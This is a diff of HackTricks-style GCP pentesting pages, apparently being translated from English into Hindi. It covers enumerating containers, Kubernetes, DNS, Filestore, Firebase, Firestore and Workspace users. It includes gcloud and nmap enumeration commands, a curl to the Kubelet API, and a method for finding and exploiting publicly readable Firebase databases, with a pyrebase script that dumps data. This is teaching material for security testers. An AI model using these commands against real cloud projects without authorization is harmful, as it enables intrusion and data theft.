आप यहाँ पढ़ सकते हैं कि [**Hierarchical Firewall Policy कैसे बनाएं**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud)।
|
||||
|
||||
### Firewall Rules Evaluation
|
||||
|
||||
<figure><img src="../../../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Org: Firewall policies assigned to the Organization
|
||||
2. Folder: Firewall policies assigned to the Folder
|
||||
3. VPC: Firewall rules assigned to the VPC
|
||||
4. Global: Another type of firewall rules that can be assigned to VPCs
|
||||
5. Regional: Firewall rules associated with the VPC network of the VM's NIC and region of the VM.
|
||||
1. Org: संगठन को असाइन की गई फ़ायरवॉल नीतियाँ
|
||||
2. Folder: फ़ोल्डर को असाइन की गई फ़ायरवॉल नीतियाँ
|
||||
3. VPC: VPC को असाइन किए गए फ़ायरवॉल नियम
|
||||
4. Global: फ़ायरवॉल नियमों का एक अन्य प्रकार जिसे VPCs पर असाइन किया जा सकता है
|
||||
5. Regional: VM के NIC और VM के क्षेत्र के VPC नेटवर्क से जुड़े फ़ायरवॉल नियम।
|
||||
|
||||
## VPC Network Peering
|
||||
|
||||
Allows to connect two Virtual Private Cloud (VPC) networks so that **resources in each network can communicate** with each other.\
|
||||
Peered VPC networks can be in the same project, different projects of the same organization, or **different projects of different organizations**.
|
||||
दो Virtual Private Cloud (VPC) नेटवर्क को जोड़ने की अनुमति देता है ताकि **प्रत्येक नेटवर्क में संसाधन एक-दूसरे के साथ संवाद कर सकें**।\
|
||||
Peered VPC नेटवर्क एक ही प्रोजेक्ट में, एक ही संगठन के विभिन्न प्रोजेक्टों में, या **विभिन्न संगठनों के विभिन्न प्रोजेक्टों में** हो सकते हैं।
|
||||
|
||||
These are the needed permissions:
|
||||
इनकी आवश्यकता वाले अनुमतियाँ हैं:
|
||||
|
||||
- `compute.networks.addPeering`
|
||||
- `compute.networks.updatePeering`
|
||||
@@ -83,7 +83,3 @@ These are the needed permissions:
|
||||
- [https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation](https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+9
-25
@@ -4,8 +4,7 @@
|
||||
|
||||
## Containers
|
||||
|
||||
In GCP containers you can find most of the containers based services GCP offers, here you can see how to enumerate the most common ones:
|
||||
|
||||
GCP कंटेनरों में आप GCP द्वारा प्रदान की जाने वाली अधिकांश कंटेनर आधारित सेवाएँ पा सकते हैं, यहाँ आप सबसे सामान्य सेवाओं को सूचीबद्ध करने का तरीका देख सकते हैं:
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
@@ -23,10 +22,9 @@ sudo docker login -u oauth2accesstoken -p $(gcloud auth print-access-token) http
|
||||
## where HOSTNAME is gcr.io, us.gcr.io, eu.gcr.io, or asia.gcr.io.
|
||||
sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse container permissions to escalate privileges**:
|
||||
इस पृष्ठ पर आप देख सकते हैं कि **कंटेनर अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -34,42 +32,34 @@ In the following page you can check how to **abuse container permissions to esca
|
||||
|
||||
## Node Pools
|
||||
|
||||
These are the pool of machines (nodes) that form the kubernetes clusters.
|
||||
|
||||
ये मशीनों (नोड्स) का पूल हैं जो कुबेरनेट्स क्लस्टर बनाते हैं।
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-pool>
|
||||
```
|
||||
|
||||
## Kubernetes
|
||||
|
||||
For information about what is Kubernetes check this page:
|
||||
Kubernetes क्या है इस बारे में जानकारी के लिए इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
First, you can check to see if any Kubernetes clusters exist in your project.
|
||||
|
||||
पहले, आप यह जांच सकते हैं कि क्या आपके प्रोजेक्ट में कोई Kubernetes क्लस्टर मौजूद हैं।
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
|
||||
If you do have a cluster, you can have `gcloud` automatically configure your `~/.kube/config` file. This file is used to authenticate you when you use [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), the native CLI for interacting with K8s clusters. Try this command.
|
||||
|
||||
यदि आपके पास एक क्लस्टर है, तो आप `gcloud` को अपने `~/.kube/config` फ़ाइल को स्वचालित रूप से कॉन्फ़िगर करने के लिए कह सकते हैं। यह फ़ाइल आपको [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) का उपयोग करते समय प्रमाणित करने के लिए उपयोग की जाती है, जो K8s क्लस्टरों के साथ बातचीत करने के लिए मूल CLI है। इस कमांड को आजमाएँ।
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
फिर, उत्पन्न किए गए क्रेडेंशियल्स को देखने के लिए `~/.kube/config` फ़ाइल पर नज़र डालें। इस फ़ाइल का उपयोग सक्रिय `gcloud` सत्र द्वारा उपयोग की जा रही समान पहचान के आधार पर स्वचालित रूप से एक्सेस टोकन को ताज़ा करने के लिए किया जाएगा। इसके लिए सही अनुमतियों की आवश्यकता होती है।
|
||||
|
||||
Then, take a look at the `~/.kube/config` file to see the generated credentials. This file will be used to automatically refresh access tokens based on the same identity that your active `gcloud` session is using. This of course requires the correct permissions in place.
|
||||
|
||||
Once this is set up, you can try the following command to get the cluster configuration.
|
||||
|
||||
एक बार जब यह सेट हो जाए, तो आप क्लस्टर कॉन्फ़िगरेशन प्राप्त करने के लिए निम्नलिखित कमांड आज़मा सकते हैं।
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
|
||||
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
|
||||
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
@@ -94,15 +84,9 @@ In my test I checked that **those requests aren't automatically approved anymore
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
|
||||
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
|
||||
Even if the API **doesn't allow to modify resources**, it could be possible to find **sensitive information** in the response. The endpoint /pods was found using [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
यहां तक कि अगर API **संसाधनों को संशोधित करने की अनुमति नहीं देता**, तो प्रतिक्रिया में **संवेदनशील जानकारी** मिलना संभव हो सकता है। एंडपॉइंट /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,8 +4,7 @@
|
||||
|
||||
## GCP - Cloud DNS
|
||||
|
||||
Google Cloud DNS is a high-performance, resilient, global Domain Name System (DNS) service.
|
||||
|
||||
गूगल क्लाउड DNS एक उच्च प्रदर्शन, लचीला, वैश्विक डोमेन नाम प्रणाली (DNS) सेवा है।
|
||||
```bash
|
||||
# This will usually error if DNS service isn't configured in the project
|
||||
gcloud dns project-info describe <project>
|
||||
@@ -21,9 +20,4 @@ gcloud dns response-policies list
|
||||
## DNS policies control internal DNS server settings. You can apply policies to DNS servers on Google Cloud Platform VPC networks you have access to.
|
||||
gcloud dns policies list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,35 +4,34 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Filestore is a **managed file storage service** tailored for applications in need of both a **filesystem interface and a shared filesystem for data**. This service excels by offering high-performance file shares, which can be integrated with various GCP services. Its utility shines in scenarios where traditional file system interfaces and semantics are crucial, such as in media processing, content management, and the backup of databases.
|
||||
Google Cloud Filestore एक **प्रबंधित फ़ाइल भंडारण सेवा** है जो उन अनुप्रयोगों के लिए तैयार की गई है जिन्हें **फ़ाइल सिस्टम इंटरफ़ेस और डेटा के लिए साझा फ़ाइल सिस्टम** की आवश्यकता होती है। यह सेवा उच्च-प्रदर्शन फ़ाइल शेयर प्रदान करके उत्कृष्टता प्राप्त करती है, जिन्हें विभिन्न GCP सेवाओं के साथ एकीकृत किया जा सकता है। इसकी उपयोगिता उन परिदृश्यों में चमकती है जहां पारंपरिक फ़ाइल सिस्टम इंटरफ़ेस और अर्थशास्त्र महत्वपूर्ण होते हैं, जैसे कि मीडिया प्रोसेसिंग, सामग्री प्रबंधन, और डेटाबेस का बैकअप।
|
||||
|
||||
You can think of this like any other **NFS** **shared document repository -** a potential source of sensitive info.
|
||||
आप इसे किसी अन्य **NFS** **साझा दस्तावेज़ भंडार** के रूप में सोच सकते हैं - संवेदनशील जानकारी का एक संभावित स्रोत।
|
||||
|
||||
### Connections
|
||||
|
||||
When creating a Filestore instance it's possible to **select the network where it's going to be accessible**.
|
||||
जब आप एक Filestore उदाहरण बनाते हैं, तो यह **नेटवर्क का चयन करना संभव है जहां यह सुलभ होगा**।
|
||||
|
||||
Moreover, by **default all clients on the selected VPC network and region are going to be able to access it**, however, it's possible to **restrict the access also by IP address** or range and indicate the access privilege (Admin, Admin Viewer, Editor, Viewer) user the client is going to get **depending on the IP address.**
|
||||
इसके अलावा, **डिफ़ॉल्ट रूप से चयनित VPC नेटवर्क और क्षेत्र पर सभी क्लाइंट इसे एक्सेस कर सकेंगे**, हालाँकि, इसे **IP पते** या रेंज द्वारा भी **सीमित करना संभव है** और उपयोगकर्ता को एक्सेस विशेषाधिकार (Admin, Admin Viewer, Editor, Viewer) निर्दिष्ट करना होगा जो क्लाइंट को **IP पते के आधार पर मिलेगा।**
|
||||
|
||||
It can also be accessible via a **Private Service Access Connection:**
|
||||
यह एक **प्राइवेट सर्विस एक्सेस कनेक्शन** के माध्यम से भी सुलभ हो सकता है:
|
||||
|
||||
- Are per VPC network and can be used across all managed services such as Memorystore, Tensorflow and SQL.
|
||||
- Are **between your VPC network and network owned by Google using a VPC peering**, enabling your instances and services to communicate exclusively by **using internal IP addresses**.
|
||||
- Create an isolated project for you on the service-producer side, meaning no other customers share it. You will be billed for only the resources you provision.
|
||||
- The VPC peering will import new routes to your VPC
|
||||
- ये प्रति VPC नेटवर्क होते हैं और सभी प्रबंधित सेवाओं जैसे Memorystore, Tensorflow और SQL के बीच उपयोग किए जा सकते हैं।
|
||||
- ये **आपके VPC नेटवर्क और Google द्वारा स्वामित्व वाले नेटवर्क के बीच VPC पीयरिंग** के माध्यम से होते हैं, जिससे आपके उदाहरण और सेवाएँ विशेष रूप से **आंतरिक IP पते** का उपयोग करके संवाद कर सकती हैं।
|
||||
- सेवा-उत्पादक पक्ष पर आपके लिए एक अलग परियोजना बनाते हैं, जिसका अर्थ है कि कोई अन्य ग्राहक इसे साझा नहीं करता। आपको केवल उन संसाधनों के लिए बिल किया जाएगा जो आप प्रावधान करते हैं।
|
||||
- VPC पीयरिंग आपके VPC में नए मार्ग आयात करेगा।
|
||||
|
||||
### Backups
|
||||
|
||||
It's possible to create **backups of the File shares**. These can be later **restored in the origin** new Fileshare instance or in **new ones**.
|
||||
**फ़ाइल शेयरों के बैकअप** बनाना संभव है। इन्हें बाद में **मूल** नए फ़ाइल शेयर उदाहरण में या **नए में** **पुनर्स्थापित** किया जा सकता है।
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a **Google-managed encryption key** will be used to encrypt the data, but it's possible to select a **Customer-managed encryption key (CMEK)**.
|
||||
डिफ़ॉल्ट रूप से एक **Google-प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाएगा, लेकिन एक **ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK)** का चयन करना संभव है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
If you find a filestore available in the project, you can **mount it** from within your compromised Compute Instance. Use the following command to see if any exist.
|
||||
|
||||
यदि आप परियोजना में एक फ़िलestore उपलब्ध पाते हैं, तो आप इसे अपने समझौता किए गए Compute Instance से **माउंट** कर सकते हैं। यह देखने के लिए निम्नलिखित कमांड का उपयोग करें कि क्या कोई मौजूद है।
|
||||
```bash
|
||||
# Instances
|
||||
gcloud filestore instances list # Check the IP address
|
||||
@@ -45,10 +44,9 @@ gcloud filestore backups describe --region <region> <backup>
|
||||
# Search for NFS shares in a VPC subnet
|
||||
sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that a filestore service might be in a **completely new subnetwork created for it** (inside a Private Service Access Connection, which is a **VPC peer**).\
|
||||
> So you might need to **enumerate VPC peers** to also run nmap over those network ranges.
|
||||
> ध्यान दें कि एक filestore सेवा **इसके लिए बनाए गए एक पूरी तरह से नए उपनेटवर्क** में हो सकती है (एक प्राइवेट सर्विस एक्सेस कनेक्शन के अंदर, जो एक **VPC पीयर** है)।\
|
||||
> इसलिए आपको **VPC पीयर्स को एन्यूमरेट** करने की आवश्यकता हो सकती है ताकि आप उन नेटवर्क रेंज पर nmap चला सकें।
|
||||
>
|
||||
> ```bash
|
||||
> # Get peerings
|
||||
@@ -59,7 +57,7 @@ sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
There aren't ways to escalate privileges in GCP directly abusing this service, but using some **Post Exploitation tricks it's possible to get access to the data** and maybe you can find some credentials to escalate privileges:
|
||||
GCP में इस सेवा का सीधे दुरुपयोग करके विशेषाधिकार बढ़ाने के तरीके नहीं हैं, लेकिन कुछ **Post Exploitation ट्रिक्स का उपयोग करके डेटा तक पहुंच प्राप्त करना संभव है** और शायद आप विशेषाधिकार बढ़ाने के लिए कुछ क्रेडेंशियल्स पा सकें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-filestore-post-exploitation.md
|
||||
@@ -72,7 +70,3 @@ There aren't ways to escalate privileges in GCP directly abusing this service, b
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,47 +4,44 @@
|
||||
|
||||
## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
|
||||
|
||||
The Firebase Realtime Database is a cloud-hosted NoSQL database that lets you store and sync data between your users in realtime. [Learn more](https://firebase.google.com/products/realtime-database/).
|
||||
Firebase Realtime Database एक क्लाउड-होस्टेड NoSQL डेटाबेस है जो आपको अपने उपयोगकर्ताओं के बीच डेटा को रीयलटाइम में स्टोर और सिंक करने की अनुमति देता है। [और जानें](https://firebase.google.com/products/realtime-database/)।
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
Some **Firebase endpoints** could be found in **mobile applications**. It is possible that the Firebase endpoint used is **configured badly grating everyone privileges to read (and write)** on it.
|
||||
कुछ **Firebase endpoints** **मोबाइल एप्लिकेशनों** में पाए जा सकते हैं। यह संभव है कि उपयोग किया गया Firebase endpoint **खराब तरीके से कॉन्फ़िगर किया गया हो जिससे सभी को पढ़ने (और लिखने) के लिए विशेषाधिकार मिलते हैं**।
|
||||
|
||||
This is the common methodology to search and exploit poorly configured Firebase databases:
|
||||
यह खराब कॉन्फ़िगर किए गए Firebase डेटाबेस को खोजने और शोषण करने की सामान्य पद्धति है:
|
||||
|
||||
1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC.\
|
||||
You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
|
||||
2. **Decompile** the APK using **apktool**, follow the below command to extract the source code from the APK.
|
||||
3. Go to the _**res/values/strings.xml**_ and look for this and **search** for “**firebase**” keyword
|
||||
4. You may find something like this URL “_**https://xyz.firebaseio.com/**_”
|
||||
5. Next, go to the browser and **navigate to the found URL**: _https://xyz.firebaseio.com/.json_
|
||||
6. 2 type of responses can appear:
|
||||
1. “**Permission Denied**”: This means that you cannot access it, so it's well configured
|
||||
2. “**null**” response or a bunch of **JSON data**: This means that the database is public and you at least have read access.
|
||||
1. In this case, you could **check for writing privileges**, an exploit to test writing privileges can be found here: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
|
||||
1. **APK प्राप्त करें** उस ऐप का, आप इस POC के लिए डिवाइस से APK प्राप्त करने के लिए किसी भी टूल का उपयोग कर सकते हैं।\
|
||||
आप “APK Extractor” का उपयोग कर सकते हैं [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
|
||||
2. **APK को डिकंपाइल करें** **apktool** का उपयोग करके, APK से स्रोत कोड निकालने के लिए नीचे दिए गए कमांड का पालन करें।
|
||||
3. _**res/values/strings.xml**_ पर जाएं और “**firebase**” कीवर्ड के लिए **खोजें**।
|
||||
4. आपको इस URL जैसा कुछ मिल सकता है “_**https://xyz.firebaseio.com/**_”।
|
||||
5. अगला, ब्राउज़र में जाएं और **पाई गई URL पर नेविगेट करें**: _https://xyz.firebaseio.com/.json_।
|
||||
6. 2 प्रकार की प्रतिक्रियाएँ प्रकट हो सकती हैं:
|
||||
1. “**Permission Denied**”: इसका मतलब है कि आप इसे एक्सेस नहीं कर सकते, इसलिए यह अच्छी तरह से कॉन्फ़िगर किया गया है।
|
||||
2. “**null**” प्रतिक्रिया या **JSON डेटा** का एक गुच्छा: इसका मतलब है कि डेटाबेस सार्वजनिक है और आपके पास कम से कम पढ़ने का एक्सेस है।
|
||||
1. इस मामले में, आप **लिखने के विशेषाधिकार** की जांच कर सकते हैं, लिखने के विशेषाधिकार का परीक्षण करने के लिए एक शोषण यहाँ पाया जा सकता है: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
|
||||
|
||||
**Interesting note**: When analysing a mobile application with **MobSF**, if it finds a firebase database it will check if this is **publicly available** and will notify it.
|
||||
|
||||
Alternatively, you can use [Firebase Scanner](https://github.com/shivsahni/FireBaseScanner), a python script that automates the task above as shown below:
|
||||
**दिलचस्प नोट**: जब **MobSF** के साथ एक मोबाइल एप्लिकेशन का विश्लेषण करते समय, यदि यह एक firebase डेटाबेस पाता है तो यह जांच करेगा कि क्या यह **सार्वजनिक रूप से उपलब्ध** है और इसे सूचित करेगा।
|
||||
|
||||
वैकल्पिक रूप से, आप [Firebase Scanner](https://github.com/shivsahni/FireBaseScanner) का उपयोग कर सकते हैं, एक पायथन स्क्रिप्ट जो ऊपर दिए गए कार्य को स्वचालित करती है जैसा कि नीचे दिखाया गया है:
|
||||
```bash
|
||||
python FirebaseScanner.py -f <commaSeperatedFirebaseProjectNames>
|
||||
```
|
||||
|
||||
### Authenticated Enum
|
||||
|
||||
If you have credentials to access the Firebase database you can use a tool such as [**Baserunner**](https://github.com/iosiro/baserunner) to access more easily the stored information. Or a script like the following:
|
||||
|
||||
यदि आपके पास Firebase डेटाबेस तक पहुँचने के लिए क्रेडेंशियल्स हैं, तो आप संग्रहीत जानकारी तक अधिक आसानी से पहुँचने के लिए [**Baserunner**](https://github.com/iosiro/baserunner) जैसे टूल का उपयोग कर सकते हैं। या निम्नलिखित की तरह एक स्क्रिप्ट:
|
||||
```python
|
||||
#Taken from https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/
|
||||
#Install pyrebase: pip install pyrebase4
|
||||
import pyrebase
|
||||
|
||||
config = {
|
||||
"apiKey": "FIREBASE_API_KEY",
|
||||
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
|
||||
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
|
||||
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
|
||||
"apiKey": "FIREBASE_API_KEY",
|
||||
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
|
||||
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
|
||||
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
|
||||
}
|
||||
|
||||
firebase = pyrebase.initialize_app(config)
|
||||
@@ -53,17 +50,16 @@ db = firebase.database()
|
||||
|
||||
print(db.get())
|
||||
```
|
||||
|
||||
To test other actions on the database, such as writing to the database, refer to the Pyrebase4 documentation which can be found [here](https://github.com/nhorvath/Pyrebase4).
|
||||
|
||||
### Access info with APPID and API Key <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
|
||||
|
||||
If you decompile the iOS application and open the file `GoogleService-Info.plist` and you find the API Key and APP ID:
|
||||
यदि आप iOS एप्लिकेशन को डिकंपाइल करते हैं और फ़ाइल `GoogleService-Info.plist` खोलते हैं और आपको API Key और APP ID मिलती है:
|
||||
|
||||
- API KEY **AIzaSyAs1\[...]**
|
||||
- APP ID **1:612345678909:ios:c212345678909876**
|
||||
|
||||
You may be able to access some interesting information
|
||||
आप कुछ दिलचस्प जानकारी तक पहुँच सकते हैं
|
||||
|
||||
**Request**
|
||||
|
||||
@@ -75,7 +71,3 @@ You may be able to access some interesting information
|
||||
- [https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,8 +4,7 @@
|
||||
|
||||
## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
|
||||
|
||||
Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions.
|
||||
|
||||
Cloud Firestore, जो Firebase और Google Cloud द्वारा प्रदान किया गया है, एक **डेटाबेस है जो स्केलेबल और लचीला है, मोबाइल, वेब, और सर्वर विकास की आवश्यकताओं को पूरा करता है**। इसकी कार्यक्षमताएँ Firebase Realtime Database के समान हैं, जो क्लाइंट एप्लिकेशनों के बीच डेटा समन्वय सुनिश्चित करती हैं जिनमें रीयलटाइम लिसनर्स होते हैं। Cloud Firestore की एक महत्वपूर्ण विशेषता यह है कि यह मोबाइल और वेब प्लेटफार्मों पर ऑफ़लाइन संचालन का समर्थन करता है, जो उच्च नेटवर्क विलंबता या इंटरनेट कनेक्शन की अनुपस्थिति की स्थितियों में ऐप की प्रतिक्रियाशीलता को बढ़ाता है। इसके अलावा, इसे Firebase और Google Cloud के अन्य उत्पादों, जैसे Cloud Functions के साथ सहजता से एकीकृत करने के लिए डिज़ाइन किया गया है।
|
||||
```bash
|
||||
gcloud firestore indexes composite list
|
||||
gcloud firestore indexes composite describe <index>
|
||||
@@ -13,9 +12,4 @@ gcloud firestore indexes fields list
|
||||
gcloud firestore indexes fields describe <name>
|
||||
gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,23 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Accounts
|
||||
## सेवा खाते
|
||||
|
||||
For an intro about what is a service account check:
|
||||
सेवा खाते के बारे में जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
A service account always belongs to a project:
|
||||
### गणना
|
||||
|
||||
एक सेवा खाता हमेशा एक प्रोजेक्ट से संबंधित होता है:
|
||||
```bash
|
||||
gcloud iam service-accounts list --project <project>
|
||||
```
|
||||
|
||||
## Users & Groups
|
||||
|
||||
For an intro about how Users & Groups work in GCP check:
|
||||
GCP में Users & Groups कैसे काम करते हैं, इसके लिए एक परिचय देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
@@ -28,16 +26,15 @@ For an intro about how Users & Groups work in GCP check:
|
||||
|
||||
### Enumeration
|
||||
|
||||
With the permissions **`serviceusage.services.enable`** and **`serviceusage.services.use`** it's possible to **enable services** in a project and use them.
|
||||
अनुमतियों **`serviceusage.services.enable`** और **`serviceusage.services.use`** के साथ, एक प्रोजेक्ट में **सेवाओं को सक्षम करना** और उनका उपयोग करना संभव है।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**.
|
||||
> ध्यान दें कि डिफ़ॉल्ट रूप से, Workspace उपयोगकर्ताओं को **Project Creator** भूमिका दी जाती है, जिससे उन्हें **नए प्रोजेक्ट बनाने** की अनुमति मिलती है। जब एक उपयोगकर्ता एक प्रोजेक्ट बनाता है, तो उसे उस पर **`owner`** भूमिका दी जाती है। इसलिए, वह **Workspace को सूचीबद्ध करने के लिए प्रोजेक्ट पर इन सेवाओं को सक्षम कर सकता है**।
|
||||
>
|
||||
> However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs.
|
||||
|
||||
If you can **enable the `admin` service** and if your user has **enough privileges in workspace,** you could **enumerate all groups & users** with the following lines.\
|
||||
Even if it says **`identity groups`**, it also returns **users without any groups**:
|
||||
> हालाँकि, यह भी ध्यान दें कि इन APIs को कॉल करने के लिए **Workspace में पर्याप्त अनुमतियाँ होना** आवश्यक है।
|
||||
|
||||
यदि आप **`admin` सेवा को सक्षम कर सकते हैं** और यदि आपके उपयोगकर्ता के पास **Workspace में पर्याप्त विशेषाधिकार हैं,** तो आप निम्नलिखित पंक्तियों के साथ **सभी समूहों और उपयोगकर्ताओं को सूचीबद्ध कर सकते हैं**।\
|
||||
यहां तक कि अगर यह **`identity groups`** कहता है, तो यह **बिना किसी समूह के उपयोगकर्ताओं** को भी लौटाता है:
|
||||
```bash
|
||||
# Enable admin
|
||||
gcloud services enable admin.googleapis.com
|
||||
@@ -60,38 +57,36 @@ gcloud identity groups memberships search-transitive-memberships --group-email=<
|
||||
## Get a graph (if you have enough permissions)
|
||||
gcloud identity groups memberships get-membership-graph --member-email=<email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py).
|
||||
> पिछले उदाहरणों में `--labels` पैरामीटर आवश्यक है, इसलिए एक सामान्य मान का उपयोग किया गया है (यदि आपने API का सीधे उपयोग किया है जैसे कि [**PurplePanda यहाँ करता है**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py))।
|
||||
|
||||
Even with the admin service enable, it's possible that you get an error enumerating them because your compromised workspace user doesn't have enough permissions:
|
||||
यहां तक कि प्रशासनिक सेवा सक्षम होने पर, यह संभव है कि आपको उन्हें सूचीबद्ध करते समय एक त्रुटि मिले क्योंकि आपका समझौता किया गया कार्यक्षेत्र उपयोगकर्ता के पास पर्याप्त अनुमतियाँ नहीं हैं:
|
||||
|
||||
<figure><img src="../../../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## IAM
|
||||
|
||||
Check [**this for basic information about IAM**](../gcp-basic-information/#iam-roles).
|
||||
IAM के बारे में बुनियादी जानकारी के लिए [**यहाँ देखें**](../gcp-basic-information/#iam-roles)।
|
||||
|
||||
### Default Permissions
|
||||
### डिफ़ॉल्ट अनुमतियाँ
|
||||
|
||||
From the [**docs**](https://cloud.google.com/resource-manager/docs/default-access-control): When an organization resource is created, all users in your domain are granted the **Billing Account Creator** and **Project Creator** roles by default. These default roles allow your users to start using Google Cloud immediately, but are not intended for use in regular operation of your organization resource.
|
||||
